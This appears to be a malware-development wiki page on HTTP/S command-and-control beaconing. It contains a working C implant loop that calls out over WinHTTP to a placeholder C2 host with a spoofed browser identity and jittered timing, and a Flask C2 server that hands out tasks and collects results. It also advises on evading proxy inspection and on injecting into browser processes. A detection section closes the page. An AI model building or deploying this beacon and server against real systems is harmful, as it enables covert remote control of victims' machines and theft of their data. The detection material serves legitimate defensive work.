Skip to content
λmaldev wiki/
pagesHTTP/S Beaconing
T1071.001WindowsLinuxmacOSC / C++PythonHTTPTLS

HTTP/S Beaconing

updated 2026-08-049 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

HTTP/S is the highest-bandwidth practical C2 transport and the one most defenders have built tooling around. The tension for an operator is that any proxy, DPI appliance or cloud-hosted CASB can inspect, filter or alert on HTTP traffic in ways that DNS cannot. The response is traffic shaping: crafting requests and responses that look, byte-for-byte, like something a browser already sends.

A malleable profile (the term comes from Cobalt Strike, but the concept applies to any framework) is a specification that controls every observable attribute of the HTTP exchange: URI patterns, header order and values, body structure, response codes, and timing. A well-built profile passes visual inspection of a proxy log because the traffic genuinely resembles the thing it is impersonating.

Note.

CDN domain fronting — connecting to a CDN edge over TLS while specifying a different Host header — was an effective technique that major CDN providers have actively blocked since 2018. It still works against CDN providers that have not patched it, but the list shrinks each year.

The call chain

  1. 1
    build HTTP request
    Construct headers, URI and body to match the chosen profile (CDN poll, jQuery fetch, etc.).
  2. 2
    WinHttpOpen / curl_easy_init
    Open a session with a spoofed User-Agent matching the profiled browser version.
  3. 3
    WinHttpConnect + WinHttpOpenRequest
    Connect to the C2 listener (optionally fronted through a CDN or redirector).
  4. 4
    WinHttpSendRequest + WinHttpReceiveResponse
    Send the beacon; parse status code and response body for tasking.
  5. 5
    jitter sleep
    Sleep for base interval ± jitter percentage before the next check-in.

Reference implementation

Minimal beacon (C, WinHTTP)

beacon.cC
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")

#define C2_HOST  L"updates.example.com"
#define C2_PORT  443
#define C2_URI   L"/api/v1/stats"
#define UA       L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

static DWORD beacon_interval = 30000;  // ms
static DWORD jitter_pct      = 20;

static DWORD sleep_jittered(void) {
  DWORD j = beacon_interval * jitter_pct / 100;
  DWORD delay = beacon_interval - j + (rand() % (2 * j + 1));
  Sleep(delay);
  return delay;
}

void beacon_loop(void) {
  HINTERNET session = WinHttpOpen(UA, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                                  WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  HINTERNET connect = WinHttpConnect(session, C2_HOST, C2_PORT, 0);

  for (;;) {
      HINTERNET req = WinHttpOpenRequest(connect, L"GET", C2_URI,
                                         NULL, WINHTTP_NO_REFERER,
                                         WINHTTP_DEFAULT_ACCEPT_TYPES,
                                         WINHTTP_FLAG_SECURE);

      // mimic a real browser — add headers the profile demands
      WinHttpAddRequestHeaders(req,
          L"Accept: text/html,application/xhtml+xml,*/*
"
          L"Accept-Language: en-US,en;q=0.9
"
          L"Cache-Control: no-cache
",
          (DWORD)-1, WINHTTP_ADDREQ_FLAG_ADD);

      WinHttpSendRequest(req, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
                         WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
      WinHttpReceiveResponse(req, NULL);

      DWORD status = 0, sz = sizeof status;
      WinHttpQueryHeaders(req,
          WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
          WINHTTP_HEADER_NAME_BY_INDEX, &status, &sz, NULL);

      if (status == 200) {
          // read body, decode task, dispatch
          // ... omitted ...
      }

      WinHttpCloseHandle(req);
      sleep_jittered();
  }
}

Simple C2 server (Python / Flask)

c2_server.pyPython
from flask import Flask, request, Response
import base64, json, queue

app   = Flask(__name__)
tasks = queue.Queue()

@app.get('/api/v1/stats')
def checkin():
  beacon_id = request.headers.get('X-Session', 'unknown')
  if tasks.empty():
      # return decoy HTML so the response looks like a real web page
      return Response('<html><body>OK</body></html>',
                      content_type='text/html')
  task = tasks.get_nowait()
  # encode task in a custom header or a JSON body field
  return Response(base64.b64encode(json.dumps(task).encode()),
                  content_type='application/octet-stream')

@app.post('/api/v1/stats')
def result():
  data = base64.b64decode(request.data)
  print('[<]', data.decode(errors='replace'))
  return Response(status=204)

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8080, ssl_context='adhoc')

Profile design

A profile controls what an observer sees; it does not change what the kernel records. Consider each observable tier independently:

Tier Controlled by profile Controlled by host setup
URI / headers Yes
TLS JA3 fingerprint Partially (cipher order) Cert, ALPN
Beacon interval shape Yes (jitter math)
Process making the call No Injection into browser
DNS resolution path No CDN / redirector
Certificate / domain age No Infra planning

The process making the WinHTTP call is logged by ETW-TI and Sysmon regardless of what the HTTP traffic looks like. Injecting the beacon into a browser process or legitimate updater addresses this, but raises the cost and the footprint of the implant significantly.

Detection

PROXY LOG
Periodic requests to the same host at a statistically regular interval, even with jitter applied.
TLS INSPECT
JA3/JA3S fingerprint mismatch — beacon presents a different TLS client hello than the claimed browser.
NETWORK
HTTP beacons that always return 200 with an empty or fixed-size body regardless of URI.
BEHAVIOURAL
A non-browser process opening an outbound TLS connection to a host with no DNS history.
THREAT INTEL
C2 domain age, passive DNS, certificate transparency logs — all cheap to query at scale.

Beacon interval analysis (computing the autocorrelation of outbound request timestamps per destination) finds jittered beacons at sub-second precision given enough samples. A one-hour observation window with 30-second beacons yields ~120 samples — more than enough to distinguish a Gaussian-jittered beacon from browser traffic.

T1071.004DNS BeaconingLower bandwidth, harder to block without breaking name resolution.
T1090Proxy / RedirectorsFronting through a CDN or reverse proxy puts a legitimate IP in the logs.
T1573Encrypted ChannelTLS with certificate pinning prevents MitM inspection of C2 traffic.
Was this page useful?edit this page ↗